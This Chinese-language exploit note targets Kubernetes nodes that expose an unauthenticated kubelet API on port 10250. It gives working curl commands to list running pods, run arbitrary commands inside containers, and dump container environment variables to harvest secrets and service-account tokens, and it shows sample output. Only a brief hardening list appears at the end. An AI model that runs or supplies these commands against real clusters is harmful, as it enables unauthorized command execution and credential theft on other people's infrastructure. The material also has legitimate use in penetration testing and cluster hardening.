Kubernetes: 未授权kubelet API 10250端口代码执行
未授权API访问(10250端口)
大多数Kubernetes部署会为该端口配置认证。但通过"insecure API service"选项暴露该端口的情况仍时有发生。
任何能够访问kubelet服务端口(10250)的用户,即使没有证书,也可以在容器内执行任意命令。
基本命令执行
API路径格式:
1
|
/run/%namespace%/%pod_name%/%container_name%
|
示例:
1
|
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
|
输出:
1
2
3
4
5
6
|
total 12
drwxr-xr-x 13 root root 148 Aug 26 11:31 .
drwxr-xr-x 13 root root 148 Aug 26 11:31 ..
-rwxr-xr-x 1 root root 0 Aug 26 11:31 .dockerenv
drwxr-xr-x 2 root root 8192 May 5 22:22 bin
[...]
|
获取容器环境变量
可以获取容器使用的所有secret(常见于环境变量中的kubelet tokens):
1
|
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system//" -d "cmd=env"
|
获取运行中的Pod信息
获取Kubernetes工作节点上所有调度的Pod和容器列表:
1
|
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
|
或
1
|
$ curl --insecure https://k8s-node-1:10250/runningpods | jq
|
漏洞利用示例
- 首先获取运行中的Pod信息:
1
|
curl --insecure https://1.2.3.4:10250/runningpods | jq
|
- 根据返回的Pod信息构造命令执行请求:
1
|
curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /"
|
输出示例:
1
2
3
4
5
6
|
total 35264
drwxr-xr-x 1 root root 4096 Nov 9 16:27 .
drwxr-xr-x 1 root root 4096 Nov 9 16:27 ..
-rwxr-xr-x 1 root root 0 Nov 9 16:27 .dockerenv
drwxr-xr-x 2 root root 4096 Nov 9 16:27 bin
[...]
|
技术细节
该漏洞允许攻击者:
- 在容器内执行任意命令
- 获取敏感环境变量
- 枚举集群中的所有Pod和容器
- 通过挂载的secret获取服务账户token
防护建议:
- 禁用kubelet的未认证API访问
- 使用网络策略限制对10250端口的访问
- 定期审计集群配置